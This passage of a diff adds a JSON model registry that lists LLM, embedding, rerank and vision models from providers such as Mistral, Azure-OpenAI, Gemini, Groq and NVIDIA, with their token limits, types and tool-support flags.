+ "llm_name": "jina-embeddings-v3",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 8196,
+ "model_type": "embedding"
+ }
+ ]
+ },
+ {
+ "name": "BAAI",
+ "logo": "",
+ "tags": "TEXT EMBEDDING",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "BAAI/bge-large-zh-v1.5",
+ "tags": "TEXT EMBEDDING,",
+ "max_tokens": 1024,
+ "model_type": "embedding"
+ }
+ ]
+ },
+ {
+ "name": "MiniMax",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "abab6.5-chat",
+ "tags": "LLM,CHAT,8k",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "abab6.5s-chat",
+ "tags": "LLM,CHAT,245k",
+ "max_tokens": 245760,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "abab6.5t-chat",
+ "tags": "LLM,CHAT,8k",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "abab6.5g-chat",
+ "tags": "LLM,CHAT,8k",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "abab5.5s-chat",
+ "tags": "LLM,CHAT,8k",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ }
+ ]
+ },
+ {
+ "name": "Mistral",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING,MODERATION",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "codestral-latest",
+ "tags": "LLM,CHAT,256k",
+ "max_tokens": 256000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "mistral-large-latest",
+ "tags": "LLM,CHAT,131k",
+ "max_tokens": 131000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "mistral-saba-latest",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "pixtral-large-latest",
+ "tags": "LLM,CHAT,IMAGE2TEXT,131k",
+ "max_tokens": 131000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "ministral-3b-latest",
+ "tags": "LLM,CHAT,131k",
+ "max_tokens": 131000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "ministral-8b-latest",
+ "tags": "LLM,CHAT,131k",
+ "max_tokens": 131000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "mistral-embed",
+ "tags": "TEXT EMBEDDING,8k",
+ "max_tokens": 8192,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "mistral-moderation-latest",
+ "tags": "LLM,CHAT,8k",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "mistral-small-latest",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "pixtral-12b-2409",
+ "tags": "LLM,IMAGE2TEXT,131k",
+ "max_tokens": 131000,
+ "model_type": "image2text"
+ },
+ {
+ "llm_name": "mistral-ocr-latest",
+ "tags": "LLM,IMAGE2TEXT,131k",
+ "max_tokens": 131000,
+ "model_type": "image2text"
+ },
+ {
+ "llm_name": "open-mistral-nemo",
+ "tags": "LLM,CHAT,131k",
+ "max_tokens": 131000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "open-codestral-mamba",
+ "tags": "LLM,CHAT,256k",
+ "max_tokens": 256000,
+ "model_type": "chat"
+ }
+ ]
+ },
+ {
+ "name": "Azure-OpenAI",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING,SPEECH2TEXT,MODERATION",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "gpt-4o-mini",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 128000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-4o",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 128000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-3.5-turbo",
+ "tags": "LLM,CHAT,4K",
+ "max_tokens": 4096,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "gpt-3.5-turbo-16k",
+ "tags": "LLM,CHAT,16k",
+ "max_tokens": 16385,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "text-embedding-ada-002",
+ "tags": "TEXT EMBEDDING,8K",
+ "max_tokens": 8191,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "text-embedding-3-small",
+ "tags": "TEXT EMBEDDING,8K",
+ "max_tokens": 8191,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "text-embedding-3-large",
+ "tags": "TEXT EMBEDDING,8K",
+ "max_tokens": 8191,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "whisper-1",
+ "tags": "SPEECH2TEXT",
+ "max_tokens": 26214400,
+ "model_type": "speech2text"
+ },
+ {
+ "llm_name": "gpt-4",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8191,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "gpt-4-turbo",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8191,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-4-32k",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "gpt-4-vision-preview",
+ "tags": "LLM,CHAT,IMAGE2TEXT",
+ "max_tokens": 765,
+ "model_type": "image2text"
+ }
+ ]
+ },
+ {
+ "name": "Bedrock",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING",
+ "status": "1",
+ "llm": []
+ },
+ {
+ "name": "Gemini",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING,IMAGE2TEXT",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "gemini-2.5-flash",
+ "tags": "LLM,CHAT,1024K,IMAGE2TEXT",
+ "max_tokens": 1048576,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gemini-2.5-pro",
+ "tags": "LLM,CHAT,IMAGE2TEXT,1024K",
+ "max_tokens": 1048576,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gemini-2.5-flash-lite",
+ "tags": "LLM,CHAT,1024K,IMAGE2TEXT",
+ "max_tokens": 1048576,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gemini-2.0-flash",
+ "tags": "LLM,CHAT,1024K",
+ "max_tokens": 1048576,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gemini-2.0-flash-lite",
+ "tags": "LLM,CHAT,1024K",
+ "max_tokens": 1048576,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "text-embedding-004",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 2048,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "embedding-001",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 2048,
+ "model_type": "embedding"
+ }
+ ]
+ },
+ {
+ "name": "Groq",
+ "logo": "",
+ "tags": "LLM",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "gemma2-9b-it",
+ "tags": "LLM,CHAT,15k",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "llama3-70b-8192",
+ "tags": "LLM,CHAT,6k",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "llama3-8b-8192",
+ "tags": "LLM,CHAT,30k",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "llama-3.1-70b-versatile",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "llama-3.1-8b-instant",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "llama-3.3-70b-versatile",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "llama-3.3-70b-specdec",
+ "tags": "LLM,CHAT,8k",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "mixtral-8x7b-32768",
+ "tags": "LLM,CHAT,5k",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ }
+ ]
+ },
+ {
+ "name": "OpenRouter",
+ "logo": "",
+ "tags": "LLM,IMAGE2TEXT",
+ "status": "1",
+ "llm": []
+ },
+ {
+ "name": "StepFun",
+ "logo": "",
+ "tags": "LLM",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "step-1-8k",
+ "tags": "LLM,CHAT,8k",
+ "max_tokens": 8192,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "step-1-32k",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "step-1-128k",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "step-1-256k",
+ "tags": "LLM,CHAT,256k",
+ "max_tokens": 262144,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "step-1v-8k",
+ "tags": "LLM,CHAT,IMAGE2TEXT",
+ "max_tokens": 8192,
+ "model_type": "image2text",
+ "is_tools": true
+ }
+ ]
+ },
+ {
+ "name": "NVIDIA",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING, TEXT RE-RANK",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "01-ai/yi-large",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "abacusai/dracarys-llama-3.1-70b-instruct",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "ai21labs/jamba-1.5-large-instruct",
+ "tags": "LLM,CHAT,256K",
+ "max_tokens": 256000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "ai21labs/jamba-1.5-mini-instruct",
+ "tags": "LLM,CHAT,256K",
+ "max_tokens": 256000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "aisingapore/sea-lion-7b-instruct",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "baichuan-inc/baichuan2-13b-chat",
+ "tags": "LLM,CHAT,192K",
+ "max_tokens": 196608,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "bigcode/starcoder2-7b",
+ "tags": "LLM,CHAT,16K",
+ "max_tokens": 16384,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "bigcode/starcoder2-15b",
+ "tags": "LLM,CHAT,16K",
+ "max_tokens": 16384,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "databricks/dbrx-instruct",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-ai/deepseek-r1",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "google/gemma-2b",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "google/gemma-7b",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "google/gemma-2-2b-it",
+ "tags": "LLM,CHAT,4K",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "google/gemma-2-9b-it",
+ "tags": "LLM,CHAT,4K",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "google/gemma-2-27b-it",
+ "tags": "LLM,CHAT,4K",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "google/codegemma-1.1-7b",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "google/codegemma-7b",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "google/recurrentgemma-2b",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "google/shieldgemma-9b",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "ibm/granite-3.0-3b-a800m-instruct",
+ "tags": "LLM,CHAT,4K",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "ibm/granite-3.0-8b-instruct",
+ "tags": "LLM,CHAT,4K",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "ibm/granite-34b-code-instruct",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "ibm/granite-8b-code-instruct",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "ibm/granite-guardian-3.0-8b",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "igenius / colosseum-355b_instruct_16k",
+ "tags": "LLM,CHAT,16K",
+ "max_tokens": 16384,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "igenius / italia_10b_instruct_16k",
+ "tags": "LLM,CHAT,16K",
+ "max_tokens": 16384,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "institute-of-science-tokyo/llama-3.1-swallow-70b-instruct-v01",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "institute-of-science-tokyo/llama-3.1-swallow-8b-instruct-v0.1",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "mediatek/breeze-7b-instruct",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta/codellama-70b",
+ "tags": "LLM,CHAT,100K",
+ "max_tokens": 100000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta/llama2-70b",
+ "tags": "LLM,CHAT,4K",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta/llama3-8b",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta/llama3-70b",
+ "tags": "LLM,CHAT,",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta/llama-3.1-8b-instruct",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta/llama-3.1-70b-instruct",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta/llama-3.1-405b-instruct",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta/llama-3.2-1b-instruct",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta/llama-3.2-3b-instruct",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta/llama-3.3-70b-instruct",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "microsoft/phi-3-medium-128k-instruct",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "microsoft/phi-3-medium-4k-instruct",
+ "tags": "LLM,CHAT,4K",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "microsoft/phi-3-mini-128k-instruct",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "microsoft/phi-3-mini-4k-instruct",
+ "tags": "LLM,CHAT,4K",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "microsoft/phi-3-small-128k-instruct",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "microsoft/phi-3-small-8k-instruct",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "microsoft/phi-3.5-mini",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "microsoft/phi-3.5-moe-instruct",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "mistralai/codestral-22b-instruct-v0.1",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "mistralai/mamba-codestral-7b-v0.1",
+ "tags": "LLM,CHAT,4K",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "mistralai/mistral-2-large-instruct",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "mistralai/mathstral-7b-v01",
+ "tags": "LLM,CHAT,4K",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "mistralai/mistral-7b-instruct",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "mistralai/mistral-7b-instruct-v0.3",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "mistralai/mixtral-8x7b-instruct",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "mistralai/mixtral-8x22b-instruct",
+ "tags": "LLM,CHAT,64K",
+ "max_tokens": 65536,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "mistralai/mistral-large",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "mistralai/mistral-small-24b-instruct",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "nvidia/llama3-chatqa-1.5-8b",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "nvidia/llama-3.1-nemoguard-8b-content-safety",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "nvidia/llama-3.1-nemoguard-8b-topic-control",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "nvidia/llama-3.1-nemotron-51b-instruct",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "nvidia/llama-3.1-nemotron-70b-instruct",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "nvidia/llama-3.1-nemotron-70b-reward",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 128000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "nvidia/llama3-chatqa-1.5-70b",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "nvidia/mistral-nemo-minitron-8b-base",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "nvidia/mistral-nemo-minitron-8b-8k-instruct",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "nvidia/nemotron-4-340b-instruct",
+ "tags": "LLM,CHAT,4K",
+ "max_tokens": 4096,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "nvidia/nemotron-4-340b-reward",
+ "tags": "LLM,CHAT,4K",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "nvidia/nemotron-4-mini-hindi-4b-instruct",
+ "tags": "LLM,CHAT,4K",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "nvidia/nemotron-mini-4b-instruct",
+ "tags": "LLM,CHAT,4K",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "nv-mistralai/mistral-nemo-12b-instruct",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "qwen/qwen2-7b-instruct",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen/qwen2.5-7b-instruct",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen/qwen2.5-coder-7b-instruct",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen/qwen2.5-coder-32b-instruct",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "rakuten/rakutenai-7b-chat",
+ "tags": "LLM,CHAT,4K",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "rakuten/rakutenai-7b-instruct",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "seallms/seallm-7b-v2.5",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "snowflake/arctic",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "tokyotech-llm/llama-3-swallow-70b-instruct-v01",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "thudm/chatglm3-6b",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "tiiuae/falcon3-7b-instruct",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "upstage/solar-10.7b-instruct",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "writer/palmyra-creative-122b",
+ "tags": "LLM,CHAT,128K",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "writer/palmyra-fin-70b-32k",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "writer/palmyra-med-70b-32k",
+ "tags": "LLM,CHAT,32K",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "writer/palmyra-med-70b",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "yentinglin/llama-3-taiwan-70b-instruct",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "zyphra/zamba2-7b-instruct",
+ "tags": "LLM,CHAT,4K",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "BAAI/bge-m3",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 8192,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "BAAI/bge-m3-unsupervised",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 8192,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "BAAI/bge-m3-retromae",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 8129,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "BAAI/bge-large-en-v1.5",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 512,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "BAAI/bge-base-en-v1.5",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 512,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "BAAI/bge-small-en-v1.5",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 512,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "nvidia/embed-qa-4",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 512,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "nvidia/llama-3.2-nv-embedqa-1b-v1",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 512,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "nvidia/llama-3.2-nv-embedqa-1b-v2",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 8192,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "nvidia/llama-3.2-nv-rerankqa-1b-v1",
+ "tags": "RE-RANK,512",
+ "max_tokens": 512,
+ "model_type": "rerank"
+ },
+ {
+ "llm_name": "nvidia/llama-3.2-nv-rerankqa-1b-v2",
+ "tags": "RE-RANK,8K",
+ "max_tokens": 8192,
+ "model_type": "rerank"
+ },
+ {
+ "llm_name": "nvidia/nvclip",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 1024,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "nvidia/nv-embed-v1",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 4096,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "nvidia/nv-embedqa-e5-v5",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 1024,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "nvidia/nv-embedqa-mistral-7b-v2",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 4096,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "nvidia/nv-rerankqa-mistral-4b-v3",
+ "tags": "RE-RANK,512",
+ "max_tokens": 512,
+ "model_type": "rerank"
+ },
+ {
+ "llm_name": "nvidia/rerank-qa-mistral-4b",
+ "tags": "RE-RANK,512",
+ "max_tokens": 512,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "snowflake-arctic-embed-xs",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 512,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "snowflake-arctic-embed-s",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 512,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "snowflake-arctic-embed-m",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 512,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "snowflake-arctic-embed-m-long",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 512,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "snowflake-arctic-embed-l",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 512,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "adept/fuyu-8b",
+ "tags": "IMAGE2TEXT,1K",
+ "max_tokens": 1024,
+ "model_type": "image2text"
+ },
+ {
+ "llm_name": "google/deplot",
+ "tags": "IMAGE2TEXT,8K",
+ "max_tokens": 8192,
+ "model_type": "image2text"
+ },
+ {
+ "llm_name": "google/paligemma",
+ "tags": "IMAGE2TEXT,256K",
+ "max_tokens": 256000,
+ "model_type": "image2text"
+ },
+ {
+ "llm_name": "meta/llama-3.2-11b-vision-instruct",
+ "tags": "IMAGE2TEXT,128K",
+ "max_tokens": 131072,
+ "model_type": "image2text"
+ },
+ {
+ "llm_name": "meta/llama-3.2-90b-vision-instruct",
+ "tags": "IMAGE2TEXT,128K",
+ "max_tokens": 131072,
+ "model_type": "image2text"
+ },
+ {
+ "llm_name": "microsoft/florence-2",
+ "tags": "IMAGE2TEXT,1K",
+ "max_tokens": 1024,
+ "model_type": "image2text"
+ },
+ {
+ "llm_name": "microsoft/kosmos-2",
+ "tags": "IMAGE2TEXT,4K",
+ "max_tokens": 4096,
+ "model_type": "image2text"
+ },
+ {
+ "llm_name": "microsoft/phi-3-vision-128k-instruct",
+ "tags": "IMAGE2TEXT,128K",
+ "max_tokens": 131072,
+ "model_type": "image2text"
+ },
+ {
+ "llm_name": "microsoft/phi-3.5-vision-instruct",
+ "tags": "IMAGE2TEXT,128K",
+ "max_tokens": 131072,
+ "model_type": "image2text"
+ },
+ {
+ "llm_name": "nvidia/neva-22b",
+ "tags": "IMAGE2TEXT,1K",
+ "max_tokens": 1024,
+ "model_type": "image2text"
